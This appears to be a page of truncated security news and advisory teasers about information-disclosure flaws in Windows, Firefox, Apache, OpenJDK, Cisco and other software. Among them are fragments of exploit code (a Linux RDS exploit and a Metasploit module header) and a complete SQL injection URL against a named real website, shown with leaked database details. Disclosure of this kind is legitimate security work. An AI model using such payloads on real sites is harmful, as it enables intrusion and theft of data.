Microsoft to Patch 26 Windows, Office Vulnerabilities

Microsoft’s February batch of security patches will be a biggie — 13 bulletins with fixes for a whopping 26 vulnerabilities. According to an advance notice from the Redmond, Wash. software vendor, five of the 13 bulletins will be rated “critical” because of the risk of remote code execution...

Microsoft Confirms New IE Data Leakage Flaw

Microsoft today issued a security advisory to acknowledge an information disclosure hole in its Internet Explorer browser and warned that an attacker could exploit the flaw to access files with an already known filename and location. The vulnerability was first discussed at this week’s Black Hat ...

Linux Kernel 'rds_recvmsg()' Function Local Information Disclosure Vulnerability

Exploit for linux platform in category local exploits / rdsclient.c / int mainvoid int sockfd; struct sockaddrin serverAddr; struct sockaddrin toAddr; char recvBuffer128 = "data from client"; struct msghdr msg; struct iovec iov; sockfd = socketAFRDS, SOCKSEQPACKET, 0; if sockfd iovbase =...

Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Timbuktu %q This...

New vulnerabilities in Invision Power Board

Здравствуйте 3APA3A! Сообщаю вам о найденных мною Information Leakage и Insufficient Anti-automation уязвимостях в форумном движке Invision Power Board. Information Leakage: http://site/index.php?act=Login В IPB существует ещё одна возможность, в дополнение к предыдущим...

Context IS Advisory - Autocomplete Data Theft in Mozilla Firefox

===============================ADVISORY=============================== Name: Autocomplete Data Theft in Mozilla Firefox Systems Affected: Mozilla Firefox 3.5, Mozilla Firefox 3.0 Severity: Moderate Category: Data Leakage Author: Context Information Security Ltd Advisory: 4 November 2009 CVE:...

CVE-2009-2976

Cisco Aironet Lightweight Access Point AP devices send the contents of certain multicast data frames in cleartext, which allows remote attackers to discover Wireless LAN Controller MAC addresses and IP addresses, and AP configuration details, by sniffing the wireless network...

OpenJDK private variable information disclosure (6777487)

The encoder in Sun Java SE 6 before Update 15, and OpenJDK, grants read access to private variables with unspecified names, which allows context-dependent attackers to obtain sensitive information via an untrusted 1 applet or 2 application...

IBM Shows Off Way to Hide Confidential Data Online

From Network World Michael Cooney Researchers at IBM have developed software that uses optical character recognition and screen scraping to identify and cover up confidential data. According to IBM the driving idea behind the MAGEN Masking Gateway for Enterprises system is to prevent data leakage...

Design/Logic Flaw

stardict 3.0.1, when Enable Net Dict is configured, sends the contents of the clipboard to a dictionary server, which allows remote attackers to obtain sensitive information by sniffing the network...

Kensei Board 2.0.0b - Multiple SQL Injections

Kensei Board = 2.0.0b Multiple Remote SQL Injection Vulnerabilities Bug found && Exploited by cOndemned Greetz: SELECT FROM friends Download Script : http://www.kenseiboard.com/counter/click.php?id=2 --- source of index.php : ... 87. if $incfunction == "showforum" 88. if $GETt == "" 89...

Creative ways to fight data leaks

From Network World Kristy Westphal Data leakage has become a hot topic in information security. But what if you can’t afford the tools that are specifically designed to keep employees from intentionally or mistakenly leaking private or valuable corporate data to the outside? It turns out there ar...

The 5 claims of PCI DSS snake oil salesmen

The Payment Card Industry Data Security Standard PCI DSS is fast becoming the de facto standard for securing critical infrastructure across many industries. This is because a large number of businesses much larger than originally envisioned process credit cards and are, therefore, required to be...

Apache mod_proxy_ajp信息泄露漏洞

BUGTRAQ ID: 34663 CVECAN ID: CVE-2009-1191 Apache HTTP Server是一款流行的Web服务器。 Apache服务器的modproxyajp模块在处理畸形的POST请求时存在错误，远程攻击者可以通过提交特制的HTTP请求泄露其他用户请求相关的响应数据。 Apache 2.2.11 Apache Group ------------ 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.apache.org/dist/httpd/patches/applyto2.2.11/PR46949.diff...

Ubuntu 7.10 : firefox vulnerabilities (USN-690-2)

Several flaws were discovered in the browser engine. These problems could allow an attacker to crash the browser and possibly execute arbitrary code with user privileges. CVE-2008-5500 Boris Zbarsky discovered that the same-origin check in Firefox could be bypassed by utilizing XBL-bindings. An...

Firefox POST data sent to wrong site when saving web page with embedded frame

Mozilla Firefox before 3.0.9 and SeaMonkey before 1.1.17 allow user-assisted remote attackers to obtain sensitive information via a web page with an embedded frame, which causes POST data from an outer page to be sent to the inner frame's URL during a SAVEMODEFILEONLY save of the inner frame...

Out-of-Bounds

Overview Affected versions of this package are vulnerable to Out-of-Bounds. The getinputtoken function in the SPNEGO implementation in MIT Kerberos 5 aka krb5 1.5 through 1.6.3 allows remote attackers to cause a denial of service daemon crash and possibly obtain sensitive information via a crafte...

Bitdefender's Thailand Site SQL Injection

http://www.bitdefenderthailand.com/newsdetail.php?id=-1%20UNION%20SELECT%201,2,concatws0x3a,version,database,user,4,5,6,7,8,9,10/ 5.0.37-community-nt:amphonetbitdefender:amphonetpriy@localhost...

3Com AP 8760绕过认证、泄露口令及SNMP注入漏洞

BUGTRAQ ID: 32358 3Com Wireless 8760 Dual-Radio 11a/b/g PoE是适用于各种类型企业的无线接入路由器。 3Com AP 8760的HTTP认证机制如下： 1. 路由器检查用户提交的凭据是否有效。 2. 如果有效，路由器的Web界面将用户重新定向到仅有通过认证的管理用户才可以使用的URL。...

Microsoft XML Core Services Chunked Request (MS08-069; CVE-2008-4033)

MSXML is an application for processing Extensible Stylesheet Language Transformation in an XML file that allows programmers to create high-performance XML-based applications. An information disclosure vulnerability has been reported in Microsoft XML Core Services MSXML. The vulnerability is due t...